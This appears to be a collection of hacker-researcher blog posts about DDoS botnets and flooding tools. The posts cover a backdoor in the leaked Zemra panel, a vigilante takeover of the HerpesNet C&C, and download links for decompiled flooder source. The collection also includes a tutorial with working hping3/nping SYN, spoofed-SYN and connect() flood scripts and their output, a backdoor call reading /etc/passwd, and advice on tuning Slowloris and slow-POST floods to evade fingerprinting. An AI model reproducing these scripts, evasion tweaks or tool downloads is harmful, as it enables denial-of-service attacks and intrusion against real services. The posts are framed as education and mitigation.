Zemra DDoS Bot: Backdoors in your Backdoors!

So, ailment today I grabbed a sample of the leaked “Zemra” botnet source code, and quickly did a “10 second analysis” of the webpanels source code. I often do this to see can I locate any “GLARING SECURITY FLAWS” in the C&C. I am also working on finding a google-dork to find Zemra installations.

For information about Zemra the following links are useful :)
http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot

http://threatpost.com/en_us/blogs/new-crimeware-bot-zemra-behind-ddos-attacks-062712

http://thehackernews.com/2012/06/zemra-botnet-leaked-cyber-criminals.html
http://news.softpedia.com/news/Zemra-DDOS-Crimeware-Kit-Used-to-Extort-Organizations-278041.shtml

So. This was on sale in various places online (Russian forums apparently), here however I suspect (based on the backdoor and the fact it is written in C#) that is is German in origin. Some of the stuff in there seems to be German also, illness so I assume it is another product of the German Skid Scene. Basically “Rippers Inc”. LAME!

Anyway, I was looking at the webpanels source (I will eventually rip the bots source apart) and noticed that gate.php has some lulzy SQLi (possibly).

Far more interesting was the backdoor. Located at /Zemra/Panel/Zemra/system/command.php, it is your basic “BACKDOOR”. It takes the GET parameter “cmd” and executes it.

Example: localhost/Zemra/Panel/Zemra/system/command.php?cmd=cat /etc/passwd

I will be researching this in greater depth… Sometime in the near-ish future. But as always, there be backdoors in your backdoors!

Finally: Zemra.rar file is here: Zemra

Malware.lu vs Herpesnet Botnet

Recently, a group of malware researchers, at Malware.lu – have seemingly taken the fight back against botnets another step.

Now, first off, let’s get my position on this straight for those watching me who are just waiting for me to break some kind of law or ethical barrier: While I wholeheartedly support these researchers actions, and believe that their approach to “dealing with botmasters” is the way forward, I will NOT be participating in it without cooperation of some sort from Law Enforcement, or legal permission to do so. The ice under my feet is too fucking thin to go popping C&C servers, though I wish I could.

The reason why we should take the fight back to the botnet masters is simple: They have the upper hand here. We do not. They can simply keep changing their C&C servers, keep doing DNS switcharoos, and keep spreading their malware, targeting innocent bystanders and making off with reams of personal data, while us researchers can do shag all except report to the authorities and pray to god they do something. It is not until someone like Microsoft gets involved that shit ACTUALLY gets done.

If the relevant authorities would issue “carte blanche”, or even a “carte gris” to take down botnets if the opportunity arises, the internet would be a far safer place. Until PROACTIVE measures are taken to make the cost of operating and owning these things too damn high for the amateurs, the smaller botnets will proliferate undetected for infinite time.

Anyways, on to the story.

So, the guys at malware.lu (I believe it was r00tBSD) got a sample in, of the HerpesNet botnet. I had been investigating Herpesnet for a while, after seeing it offered up as a “botnet as a service” type thing. You simply infect people, the botmaster/owner handles the C&C and backend server, along with writing the malware.

Fascinating system, and it is criminal economies like these that need to be stamped out. This particular sample was proliferating on Skript Kiddie forums predominantly, however, it is simply showing how *Fast* this kind of service offering has become common place.

Upon analysing the unpacked (non obfusticated) binary, and decrypting the few strings that were obscured, they were able to locate its C&C server.

They were also able to uncover what it sent to the server in HTTP POST requests, which seemingly, was sent in plaintext, and therefore offered them insights into what kind of data this thing was stealing, etc.

The researchers then decided to see could they perhaps use SQL injection attacks to own the command and control server, and in the end, they succeeded, gaining access to the administrator (botmasters) account on the C&C.

Taking things further, they actually uploaded a Meterpreter payload to the server and ran it, remotely hijacking the C&C. They took a screenshot of the C&C through the Meterpreter shell, and it LOOKS to me like it was the malware authors own box they had owned.

Pretty stupid, hosting a multi user botnet on your own box… But… Criminals are rarely the most intelligent it seems.

Now for the REALLY fun part: They then dumped the bots source code, etc. onto their box for more analysis, and subsequently the botmaster severed the box’s internet connection.

Not only this… They doxed the botmaster! Revealing his true identity for all to see (and for all to arrest…).

This kind of thing could be seen by some as vigilante justice, however, I see it as the future of the fight back against crimeware and online fraud. Even xylitol seems to get away with this, so my question to you all is as follows: What is the ethics/legality to this? CAN I legally start “assisting” LEO by dropping botnets and doxing their owners? I am FAIRLY sure I would be breaking anti-hacking laws, but, I also know the law pretty much requires me to do my duty as a citizen to PREVENT crime.

While I won’t be popping botnet C&C servers anytime soon, it is an interesting question to ask… And one I would love to know the answer to.

For more on this story, check out the article the guys wrote here:
Herpesnet Analysis and Ownage – Malware.lu

And also check out their main site: http://malware.lu

Massive props to the Malware.lu team, they are REAL internet superheros!

More Decompile – Nuclear DDoSer

Seeing as it is the weekend, and I had promised this, here goes nothing… Yesterday you saw my decompile of the lame HTTP Flooder – see HERE – and today, I have decompiled Nuclear DDoSer.

I previously wrote about “Nuclear DDoSer” HERE , comparing it to the SlowLoris and Slowpost tools.

This thing, as a point of interest, operates in a similar way to how I theorize “XerXes” works, and with some modification and improvement could actually do a considerable amount of damage.

SO I will not be bothering making those improvements.

Go get it here…
http://insecurety.net/Downloads/NUCLEAR_DOS_DECOMPILE.tar.gz

MD5: c8248c60b438fe544c7dfdd847f53692
SHA1: c3757099dead3a3f7656c33a49072a8126174929

AS always, we decompile and release this stuff so you don’t have to, for purely educational purposes, and to satisfy our sense of schadenfreud toward the skidiots out there. “We do not like them very much”.

Decompiled Skidware – HTTP Flooder by “van1lle”.

Howdy all, see well, another GREAT day here at the labs! Sun is shining, boxes are overheating, sickness and most everyone is a little bit hungover at least…

Well, I decided to harvest a bunch of what I refer to as “Skidware” for decompilation purposes (practicing my .net fu) and decided to release this one first.

It is the source (and original binary) of a rather popular HTTP Flooding DoS tool, distributed on skript kiddie forums.

It is basically an app in C# that just spews “slowloris” at a server until it dies… Standard Layer 7 Denial of Service stuff. The original author bragged that he/she/it took down Virustotal using it.

So, here it is :D

MD5: 18a31dce229b2734eabdb207e2296a68
SHA-1: 04f70f94b91ade15ab2f1d968c152ef1e900a41b
Downloads…
http://insecurety.net/Downloads/HTTPFLOOD_DECOMPILE.tar.gz

We do not take responsibility for what you do with this.

Layer 4 Denial of Service: SYN/Spoofed SYN Flooding

Layer 4 Denial of Service: SYN/Spoofed SYN Flooding.

Introduction:
Denial of Service attacks are still among the most prevalent online attacks. At first they were seen as a way for IRC users to settle disputes (ok, I put that FAR too nicely. Really a way for pissed off people to piss off other people on IRC…), and eventually they ended up being used for extortion (gief money or we blast ur site offa the internetz!!). However, these days it is not too uncommon to see DoS/DDoS attacks being used either by unscrupulous businesspeople to take out their competitors, or, in recent years, as the primary weapon of hacktivists – for example the “Anonymous” group.

In this, I intend to briefly cover the topic of SYN/Spoofed SYN (and, of course, simple connect()) flooding. Later I will cover UDP flooding and “evil TCP Packets”, etc. The diagrams are courtesy of Encyclopedia Dramatica and Wikipedia, as I saw no real reason to draw my own, what with decent ones already in existence.

Please note, this article assumes you understand the basics of TCP (3 way handshake, flags), however, I will cover those in a later article.

The SYN Flood.
The common, or garden, SYN flood effectively functions by sending many “SYN”, or “Hello” packets to the victim server. What happens then, is the server sends back SYN-ACK packets, and awaits the sender to reply with an ACK, opening a new full-connection. In a SYN flood, you do not reply with an ACK, instead just vomiting more SYN packets at the server, causing its state-table of pending connections to fill up. If you succeed in filling it up, the server cannot accept legitimate connections, causing a denial of service to legitimate clients.

SYN flooding from Encyclopedia Dramatica

Good ole SYN flood... Exhausting the sockets

In some cases the server may have “SYN Cookies” enabled, which migitates this effect. (I will write about these in another article.) In this case, the SYN flood MAY STILL SUCCEED, by simply blasting the server with so much data that it’s bandwidth is exceeded. This is as simple as basic physics – the guy with the bigger pipe wins.

Often scrubs and lamers attempt to SYN flood large servers with their home connection, occasionally they succeed (if the server is not implementing SYN cookies or other mitigation). However, if they must rely on pure bandwidth, they are destined to fail. Epically. This results in both embarrassment, and, in either case, a knock on the door from men in suits who are NOT the mailman :P

For this reason, most people use a botnet to SYN flood. More on this in later article on botnet powered DDoS, and why most botnets do not ACTUALLY SYN flood.

The following BASH script demonstrates a simple SYN flood using HPING3

== SNIP ==

#!/bin/bash
#flood.sh – SYN Flood Demo Script
echo “Launching SYN Flood against $1″
hping3 -S –flood -V $1

== SNIP ==

And here is an example of it being used to flood localhost for several seconds…

root@bt:~# ./flood localhost
Flooding localhost
using lo, addr: 127.0.0.1, MTU: 16436
HPING localhost (lo 127.0.0.1): SPU set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
— localhost hping statistic —
170179 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@bt:~#

This was a mere 5 seconds of SYN flooding, and in theory, 170,179 connections would be “pending” on the target box. Likely a hell of a lot less – packet loss, etc, and the fact I was flooding myself, however, I am fairly sure most servers would die fairly fast if subjected to this kind of abuse from someone with a decent upspeed (1gb/s or so?).

Due to firewalls, SYN cookies, and such migitating against this, it would likely fail against most large targets who implement load balancing, etc. However, remember: An attacker can simply DoS your firewall or router… Effectively knocking you out anyway!

Oddly enough, the above also has a tendancy to turn off network capable Sony Bravia TV’s. Which are not renowned for having a hardened TCP stack.

The Spoofed SYN Flood.
The main issue with “vanilla” SYN flooding is that every packet you send at the victim has your IP address stamped on it. Which is how the men in suits know where to come looking for you. Also, the fact of the matter is, their box is spamming packets back at you (and, due to how TCP/IP works, is spamming MORE packets back than you send at it – retransmissions for redundancy), making it not only easy to find you, but also kind of hozing your own connection as well. This is why I consider SYN flooding to be the equivalent of a kamikaze attack of sorts…

So, what do we do about this? Well, you can always spoof the IP address of the sender… Making it non traceable back to you (in theory – some ISP’s “fix” spoofed packets), and also making sure more of your pipe is free for the spamming.

Another point to note: Some DDoS migitation solutions block an IP that they detect is flooding it. Spoofed floods actually can get around some of these “solutions”.

The following BASH script demonstrates this quite well I think…

== SNIP ==

#!/bin/bash
# spoofed.sh – Spoofed SYN Flooding Demonstration Script
echo “Flooding $1 with randomly spoofed SYN packets”
hping3 -S -P -U –flood -V –rand-source $1

== SNIP ==

As you can see, we added the –rand-source operator to hping, making it randomize the packet-sources. This means that they (Theoretically) have no way of tracking us…

And here is an example of it being used to flood localhost for a few seconds…

root@bt:~# ./spoofed localhost
Flooding localhost with randomly spoofed SYN packets
using lo, addr: 127.0.0.1, MTU: 16436
HPING localhost (lo 127.0.0.1): SPU set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
— localhost hping statistic —
230989 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@bt:~#

See? A literal shitload of “untraceable” packets have been sent to the target in about 5 seconds, now imagine if this was left running, from a high bandwidth server, for several hours? Or days even?

Your mileage may vary with this – some providers DO “fix” or simply drop spoofed packets, however in a later article I will show you how to test does your provider allow spoofed packets. I just have to find the research some university in America did first… I know I have it saved, but, you know how these things are!

TCP Connect() Flooding.
Now before I get started, connect() flooding is fucking stupid. Seriously. It is inefficent, leaves MASSIVE amounts of logs (you establish a full connection), and generally… Yeah. Sadly, this is incredibly common – in fact – it is the default attack-mode of things like LOIC, etc. Essentially you just establish a whole bunch of connections to the victim server and hope to god you either exceed its connection-limit, or its bandwidth.

Again, horribly inefficient, but that is just the start: It also is damn near GUARENTEED to get you a visit from the “Men in Black” – see the poor LOIC using scrubs who got caught – and it is just… Silly.

The only reason this seems to be so common is because Windows does not easily allow messing with raw sockets/packets, unless you happen to load the winpcap driver. The “Syn Flood” and “SSYN flood” in EVERY Windows bot/flooder/RAT/whatever is really just a TCP CONNECT() flood with LOTS of threads, and closing/opening connections really fast. Unless, of course, the malware author hops into Ring 0 or gets SYSTEM privs and loads the WinPCap or similar driver.
NOTE: Older versions of Windows (XP prior to SP2?) allowed raw sockets!

Now, for this demo script I ended up using nping from the nmap suite, as I wanted to get to grips with it. See it as an upgraded hping. You should try it – I am still experimenting with it, and it looks REALLY cool! Still in development…

== SNIP ==

#!/bin/bash
# tcpconnect.sh – lame tcp connect() flooder
# as you can see, I simply set –rate and -c (count) to big numbers.
echo “TCP Connect flooding $1″
nping –tcp-connect –rate=90000 -c 900000 -q $1

== SNIP ==

So, as you can see, it is a very simple script. Nothing fancy, and now for the demo…

root@bt:~# ./tcpconnect localhost
TCP Connect flooding localhost

Starting Nping 0.5.61TEST5 ( http://nmap.org/nping ) at 2012-05-23 05:40 IST
^CTCP connection attempts: 10965 | Successful connections: 3256 | Failed: 7709 (70.31%)
Tx time: 6.23043s | Tx bytes/s: 140792.96 | Tx pkts/s: 1759.91
Rx time: 6.23043s | Rx bytes/s: 20903.87 | Rx pkts/s: 522.60
Nping done: 1 IP address pinged in 6.23 seconds
root@bt:~#

The output says it all really… How many connections succeeded, how many failed. I had to set the -q arguement lest I be blasted with verbose output – it is INCREDIBLY LOUD about what it is doing!

The main problems with TCP Connect flooding are… EVERYTHING! You cannot spoof your packets, you make a giant bloody mess of the logs, it is horribly inefficient, and it is almost guarenteed to get your ass caught. HOWEVER, it has one simple redeeming feature: It weeds out the idiots from the rest of us :D

Conclusion.
In this article, we briefly went over some of the basic methods of executing Denial of Service attacks, and how they work. Hopefully this will serve to de-mystify these attacks for most of you, and if you understand them, you can maybe migitate against them better.
We also learned that 2 of the three ways discussed will likely get you arrested for various crimes (Denial of Service attacks ARE ILLEGAL!), and that Windows malware has the lamest TCP flooding style ever.

We also have now a decent basis for further articles discussing more advanced techniques!

References/Where content/images/bullshit comes fom:
Wikipedia (Images/Fact checking!)
Encyclopedia Dramatica (Some Images)
Me (cat /dev/brain)
nmap.org
Techworld.com – Extortion via DDoS
DarkVisitor – Extortion via DDoS arrest
LOIC Github
Wired on Anon DDoS attacks
SiliconAngle on LOIC related arrest
Arbor Networks

Denial of Service: An investigation into “Nuclear DDoSer”

Introduction:
Ok, so I was trawling through the junk I planned on looking into during my research into “XerXes”, and had been looking at some of the HTTP flooders skids today use. Then I stumbled across this gem…

“Nuclear DDoSer”. Wow. Scrubs today cannot even discern between DoS and DDoS… BOOORING!

But wait! This one does a lot more than you think! It implements the fast-flux SOCKS/Proxy technique I spoke about (the same one XerXes uses), uses HTTP POST and HTTP GET flooding (perhaps even Slowloris/Slowpost?), and even sorts the proxies for you?

Those are things I was going to implement in “RailGun”, before I suspended the project for various reasons!

So, lets take a look.

The Nuclear DoS tool

Nuclear DoS - Proxy Menu

The attack menu of Nuclear DoS

So, I notice it has a lot of configurable options – which I plan to eventually investigate, but for now I am more interested in what kind of “junk” it is sending…

Experimentation – The “SlowLoris”

So I started an apache server on localhost, ran Wireshark, and ran the “get flooder”. As my current OS is BackTrack 5, bt.foo.org points towards 127.0.0.1.

This is what all the HTTP requests looked like…

GET /
Host: bt.foo.org
User-Agent:  Mozilla/5.0 (Windows; U;Windows  NT 6.1;fr; rv: 1.9.2) Gecko/201 00115 Firefox/3.6
Accept: text/ html,application /xhtml+xml,application/xml;q=0.9 ,*/*;q=0.8
Accept-Language: en, en-us;q=0.8,en-u s;q=0.5,en;q=0.3
Accept-Charset : ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

So, not 100% sure of myself, I ran SlowLoris against myself… Here be the output of the Wireshark…

GET /
Host: bt.foo.o rg
User-Agent:  Mozilla/5.0 (Win dows; U;Windows  NT 6.1;fr; rv: 1.9.2) Gecko/201 00115 Firefox/3.6
Accept: text/ html,application /xhtml+xml,application/xml;q=0.9 ,*/*;q=0.8
Accept-Language: en, en-us;q=0.8,en-u s;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf -8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

Well shit! Here we have a gods-honest, multithreaded, multi proxy, .net version of Slowloris! For once, I actually was surprised. Skidiots NEVER write anything properly!
Add in a bit of user-agent spoofing (both the slowloris.pl I have, the latest, and the “Nuclear DDoSer” seem to use a static UA, though I didn’t investigate too much), and this could be pretty fascinating.

Might I add, when either of them were ran, the server stopped replying to anything, pretty hilarious IMHO…

Experimentation! The “Slow Post”

Now to investigate the “Slow Post” it claims to have… Apache back up? Check… Ok, lets go!

Here are the headers/requests the skidware outputs…

POST /
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  application/x-shockwave-flash, application/x-ms- application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language:  en
User-Agent:  Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5 .21022; .NET CLR  3.0.4506.2152;  .NET CLR 3.5.307 29)
Content-length: 20
Host: bt.foo.org
Connection: Keep-Alive
data=nuclear ddosser

Ok. Now again, it needs some user agent spoofing, and I do not quite understand the huge UserAgent it uses, though I assume it is a copy paste, or perhaps the author hoped a bigger user agent meant a better flood. The other MASSIVE PROBLEM is the EASILY FINGERPRINTED “data=nuclear ddoser”. A better implementation would have a random crap generator, and calculate content length on the fly, changing every “n” packets/requests sent.

BUG: Should specify Keep Alive value equal to or less than 120 but no less than 80.

Let’s see what the Python variant, “torshammer” (a VERY efficient tool if you tweak it a little) looks like…

POST /  HTTP/1.1
Host:  bt.foo.org
User-Agent: Mozilla /4.0 (compatible ; MSIE 7.0; Windows NT 5.1; Trident/4.0;FDM; .NET CLR 2.0.50727 ; InfoPath.2; .NET CLR 1.1.4322)
Connection: keep-alive
Keep-Alive: 900
Content-Length: 10000
Content-Type:  application/x-ww w-form-urlencoded

There is a lot of junk sent after this request, and this is what the request (in the Python script) looks like…

self.socks.send(“POST / HTTP/1.1\r\n”
“Host: %s\r\n”
“User-Agent: %s\r\n”
“Connection: keep-alive\r\n”
“Keep-Alive: 900\r\n”
“Content-Length: 10000\r\n”
“Content-Type: application/x-www-form-urlencoded\r\n\r\n” %
(self.host, random.choice(useragents))

Now, one MASSIVE failing there is in the Keep-Alive value. The author of Torshammer chose “900”. Actually, to be fair, he just optimized the PoC I released back in my evil blackhat days, and I had left it at 900 as an anti skiddo trick. The real value to choose is between 80 and 120. With these smaller values the box ACTUALLY WAITS, instead of giving error 400 all the time. This is one of those edits to make ;)

I also like his randomization of user agents, it is pretty win. And the POST junk it sends is as follows…

p = random.choice(string.letters+string.digits)
print term.BOL+term.UP+term.CLEAR_EOL+”Posting: %s” % p+term.NORMAL
self.socks.send(p)

See this? He generates random junk strings to POST to the target server, FAR harder to fingerprint! Of course, the best implementations would not just limit to letters and numbers, all kinds of characters are fine too :D

Conclusion:
This particular “Skid Ware” actually DOES what it is meant to do, surprisingly enough. The main problem is that it does have a tendency to crash every so often (what do you expect? It is .net!), and, uh, its closed source.
But not for long!
Once I get a Windows box, or even a box capable of running a virtual machine of Windows (I had it running under Mono), I plan to reverse engineer it… Which will be hilarious! When I get around to doing that I will release the binary and source-code of this application.

If you are interested in the other applications used, the “SlowLoris”, and “Tors Hammer” programs, please check the following links:
SlowLoris
Torshammer

References:
OWASP – Layer 7 DDoS
OWASP HTTP POST DoS Tool
Arbor Networks
RSnake – Slowloris
Myself…

Bootnote: “NewEraCracker”, the author of LOIC, has written a PHP script (designed to be ran from the PHP command line, like “php -f SlowPOST.php”) which seems to implement the HTTP Slow Post attack fairly well.
You can see on line 201 that he has even paid attention to detail on how it works!
$out .= “Keep-Alive: “.mt_rand(60,120).”\r\n”;
Link: NewEraCracker’s SlowPost Tool

I guess he finally listened to all the bitching the more clever “Anons” were doing about needing replacements for LOIC…